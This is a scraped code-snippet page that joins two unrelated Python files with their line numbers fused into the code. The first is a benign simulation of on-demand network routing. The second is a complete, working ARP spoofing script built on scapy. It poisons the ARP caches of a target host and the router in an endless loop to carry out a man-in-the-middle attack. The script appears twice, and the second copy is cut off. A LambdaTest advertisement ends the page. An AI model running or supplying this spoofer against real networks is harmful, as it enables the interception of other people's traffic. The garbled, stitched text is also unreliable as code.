Best Python code snippet using lisa_python
network.py
Source:network.py  
...30            print("* Creating a package in network_layer *")31            print('* '*20, '\n')3233            #new package with the message34            pck = package(Network_layer._id_pck,'DATA',message,self.host.get_mac(),destination)35            logging.info(f' Created a DATA package from host[{self.host.get_mac()}] to host[{destination}]')36            37            pck.package_info() # prints the package information38            Network_layer._id_pck += 1 # update the id3940            # checks if the destination is my neighbor41            nb = self.host.get_neighbors()42            var = False43            for obj in nb:44                if destination == obj.get_mac():45                    var = True46                    break    4748            # destination is a host's neighbor49            if var:50                logging.info(f' Host{destination} is my neighbor, so I can send')51                self.host.link.sending_request(pck)5253            # if is not my neighbor, then check if I have a way to him54            if self.table.get_route() != {}:55                print("\033[36m\t\tL3: I HAVE A ROUTE TABLE, BUT I DO NOT KNOW IF I HAVE DESTINY ON IT \033[37m")56                # set the next jump57                next_jp = self.table.next_jump(destination, self.host)58                59                if next_jp:60                    logging.info(f' I(host{self.host.get_mac()}) can get into the destination')61                    logging.info(f' And the next jump is to host[{next_jp}]')62                    pck.add_path(self.host)63                    pck.add_next(next_jp)64                    self.host.link.sending_request(pck)65            66            # if the host can't get into the destination, then it make a RREQ67            else :68                print(f"\033[36m +++++++++ L3: HOST{self.host.get_mac()} HAS NO ROUTE TO {destination}\033[37m")69                logging.info(f' I am host[{self.host.get_mac()}] and do not have a route for {destination} yet')70                self.create_RREQ_pck(pck)71            7273    # create a REQUEST pck and send to link_layer74    def create_RREQ_pck(self,pck):75        self.pending_pck.append(pck) # save the package to send later76        77        pck_RREQ = package(Network_layer._id_pck,'RREQ',"I am a RREQ",self.host.get_mac(),pck.get_destination())78        Network_layer._id_pck += 179        # if the host makes this type of pck, is saves to a list, so it won't send again80        self.received_pck.append(pck_RREQ.get_id())81        82        # print for debugging83        print(f'\t\t\033[36m HOST[{self.host.get_mac()}] IS CREATING A RREQ TO {pck.get_destination()}\033[37m\n')84        print(f'\t\t\033[36m HOST[{self.host.get_mac()}] IS ADDING ITSELF TO THE PATH\033[37m\n')85        86        # log print87        logging.info(f' Host[{self.host.get_mac()}] created a RREQ pack to host[{pck.get_destination()}]')88        logging.info(f' I am adding myself to the path')8990        pck_RREQ.add_path(self.host) # adding itself on the path91        self.host.link.sending_request(pck_RREQ) # send a request to master92        9394    # create a REPLY pck and send to link_layer95    def create_RREP_pck(self,pck_RREQ):96        pck_RREP = package(Network_layer._id_pck,'RREP',"i am a RREP",self.host.get_mac(),pck_RREQ.get_originator())97        98        logging.info(f' I am host[{self.host.get_mac()}] and received a RREQ pack from host[{pck_RREQ.get_originator()}]')99        logging.info(f' Host[{self.host.get_mac()}] is sending a RREP to host[{pck_RREQ.get_originator()}]')100        101        print(f'\033[36m --- HOST[{self.host.get_mac()}] is sending a RREP to HOST[{pck_RREQ.get_originator()}] ---\033[37m')102        Network_layer._id_pck += 1103        104        # get the way back105        way_back = pck_RREQ.get_path()106        for way in way_back:107            # save the way that pck has being through108            pck_RREP.add_path(way)109        110        # saving route111        self.table.save_route(way_back, pck_RREQ.get_originator())112        way_back.reverse()113114        # The next jump is who sent to me115        next = way_back.pop(1)116        pck_RREP.add_next(next.get_mac())117        118        #than send to link layer119        self.host.link.sending_request(pck_RREP) 120121122    # Function to processe all packages received123    def receive_pck(self,pck):124        actual_mac = self.host.get_mac()125        126        if pck.get_type() == 'DATA':  127            # final point gets the package              128            if pck.get_destination() == self.host.get_mac():129                if self.add_received_pck(pck.get_id()):130                    print('\033[33m *'*28)131                    print(f'* I AM HOST[{self.host.get_mac()}] AND RECEIVED THE PACKAGE [{pck.get_contents()}] *')132                    print(' *'*28, '\033[37m')133134                    logging.info(f' **** Host[{actual_mac}] received a pack from host[{pck.get_originator()}], message is [{pck.get_contents()}] ****')135                else:136                    pass137            #print for debugging138            print(f'\n\t \033[36m HOST[{actual_mac}] HAS PACK ? =======>{pck.get_next() == self.host.get_mac()} \033[37m')139            140            # the package is not for the actual host, it's on the path141            if (pck.get_destination() != self.host.get_mac() and pck.get_next() == self.host.get_mac()):142                print(f'\n \033[36m +++++ L3: HOST[{self.host.get_mac()}] RECIEVING A DATA PCK, BUT IS NOT MYNE -->[{pck.get_destination()}]\033[37m')143                logging.info(f'I am host[{actual_mac}] receiveing a data pack with id: {pck.get_id()}, but is not for me')144                145                if self.add_received_pck(pck.get_id()):146                    path = pck.get_path()147                    #print(f'THE PATH IS :{path}')148                    # get the next jump149                    next_jp = path.index(self.host)+1150                    next_jp = path[next_jp]151                    print(f'\033[36m NEXT POINT IS {next_jp.get_mac()}')152                    pck.add_next(next_jp.get_mac())153154                    #then send the package155                    self.host.link.sending_request(pck)156                else:157                    pass158                159160        if pck.get_type() == 'RREQ': # process request packages161            # if the request is for the actual host, then it must reply162            if pck.get_destination() == self.host.get_mac():163                if self.add_received_pck(pck.get_id()): # check if already have this pck 164                    pck.add_path(self.host)# add itself in the path165                        166                    # creates a reply package 167                    self.create_RREP_pck(pck)168                    # make a function or an attribute to add this new route169                else:170                    pass171                    172            else: # the request is not for the actual host173                if self.add_received_pck(pck.get_id()):174                    # ** verify the route table ** (still in progress)175                    # if has no way, just make a broadcast176                    logging.info(f' I am host[{actual_mac}] receiving a RREQ id:[{pck.get_id()}], but I am not the destination')177                    logging.info(f' So I (host[{actual_mac}]) must make a broadcast sending to my nighbors')178179                    pck.add_path(self.host)180                    self.host.link.sending_request(pck)181                182        183        if pck.get_type() == 'RREP':184            # checks if the actual host is the destination and still doesn't have this package185            if pck.get_destination() == self.host.get_mac() and self.add_received_pck(pck.get_id()):186                print(f"\n\033[36m +++++++++ L3: HOST[{self.host.get_mac()}] MUST SEND THE DATA PACKAGE \033[37m")187                188                logging.info(f" I am host[{actual_mac}] and received a RREP from host[{pck.get_originator()}]")189                logging.info(f" So I(host[{actual_mac}]) must send the data pack!")190191                data_pck = self.pending_pck.pop(0) # remove the 1rs pck from remaining ones192                way_back = pck.get_path()193                194                # save the way that pck has being through195                for way in way_back:196                    data_pck.add_path(way)197                    print(f'\n\033[36m GOT MY REPLY AND THAT IS THE WAY =>{way.get_mac()}\033[37m')198                199                self.table.save_route(way_back, pck.get_originator()) # save into the host's route table200                #add next201                try:202                    next_jump = way_back.index(self.host)+1 # check the position of actual host203                except Exception as e:204                    # must find a way function205                    print(e)206                    207                print(f'MY DATA PACK PATH IS => {data_pck.get_path()}')208                next_jump = way_back[next_jump] #get the next jump209                logging.info(f' And the next jump is to host[{next_jump.get_mac()}]')210                data_pck.add_next(next_jump.get_mac())# add the next jump to the pck information211                #print(f'\nL3: NEXT POINT IS {next_jump.get_mac()}')212                213                #send data214                self.host.link.sending_request(data_pck)215            216217            # the actual host is the next jump and is getting this pck for the 1rs time218            elif pck.get_next() == self.host.get_mac() and self.add_received_pck(pck.get_id()):219                logging.info(f' I am host[{actual_mac}], received a DATA pack, but is not for me')220                logging.info(f" So I(host[{actual_mac}]) must send to next point")221                way_back = pck.get_path()222                223                try:224                    next_jump = way_back.index(self.host)-1 # check the position of actual host225                except Exception as e:226                    # ** must find a way function **227                    print(e)228                    229                next_jump = way_back[next_jump] #get the next jump230                logging.info(f' And the next jump is to host[{next_jump.get_mac()}]')231                pck.add_next(next_jump.get_mac())# add the next jump to the pck information
...arpspoof.py
Source:arpspoof.py  
1import scapy.all as scapy2import time3def get_mac(ip):4    arp_request = scapy.ARP(pdst=ip)5    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")6    arp_broadcast = broadcast / arp_request7    answers_list = scapy.srp(arp_broadcast, timeout=1, verbose=False)[0]8    return answers_list[0][1].hwsrc9def spoof(target_ip, spoof_ip):  # arp spoofing main10    target_mac = get_mac(target_ip)11    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)12    scapy.send(packet)13def restore(dest_ip, source_ip):  # restoring mac before closing(keyboard interrupt)14    dest_mac = get_mac(dest_ip)15    source_mac = get_mac(source_ip)16    packet = scapy.ARP(op=2, pdst=dest_ip, hwdst=dest_mac, psrc=source_ip, hwsrc=source_mac)17    scapy.send(packet, count=4, verbose=False)18router_ip = "192.168.1.1"  # change it to your router IP19target_ip = "192.168.1.4"  # change it to your target's IP20count = 021try:22    while True:23        spoof(target_ip, router_ip)24        spoof(router_ip, target_ip)25        count = count + 226        print("\r [X] Packet Sent " + str(count), end="")27        time.sleep(2)28except KeyboardInterrupt:29    print("\n {X} Quitting ARP Spoof and Restoring ARP")30    restore(target_ip, router_ip)31    restore(router_ip, target_ip)32    print("[X] Restoring Done")33import scapy.all as scapy34import time35def get_mac(ip):36    arp_request = scapy.ARP(pdst=ip)37    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")38    arp_broadcast = broadcast / arp_request39    answers_list = scapy.srp(arp_broadcast, timeout=1, verbose=False)[0]40    return answers_list[0][1].hwsrc41def spoof(target_ip, spoof_ip):  # arp spoofing main42    target_mac = get_mac(target_ip)43    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)44    scapy.send(packet)45def restore(dest_ip, source_ip):  # restoring mac before closing(keyboard interrupt)46    dest_mac = get_mac(dest_ip)47    source_mac = get_mac(source_ip)48    packet = scapy.ARP(op=2, pdst=dest_ip, hwdst=dest_mac, psrc=source_ip, hwsrc=source_mac)49    scapy.send(packet, count=4, verbose=False)50router_ip = "192.168.1.1"  # change it to your router IP51target_ip = "192.168.1.15"  # change it to your target's IP52count = 053try:54    while True:55        spoof(target_ip, router_ip)56        spoof(router_ip, target_ip)57        count = count + 258        print("\r [X] Packet Sent " + str(count), end="")59        time.sleep(2)60except KeyboardInterrupt:61    print("\n {X} Quitting ARP Spoof and Restoring ARP")...Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!
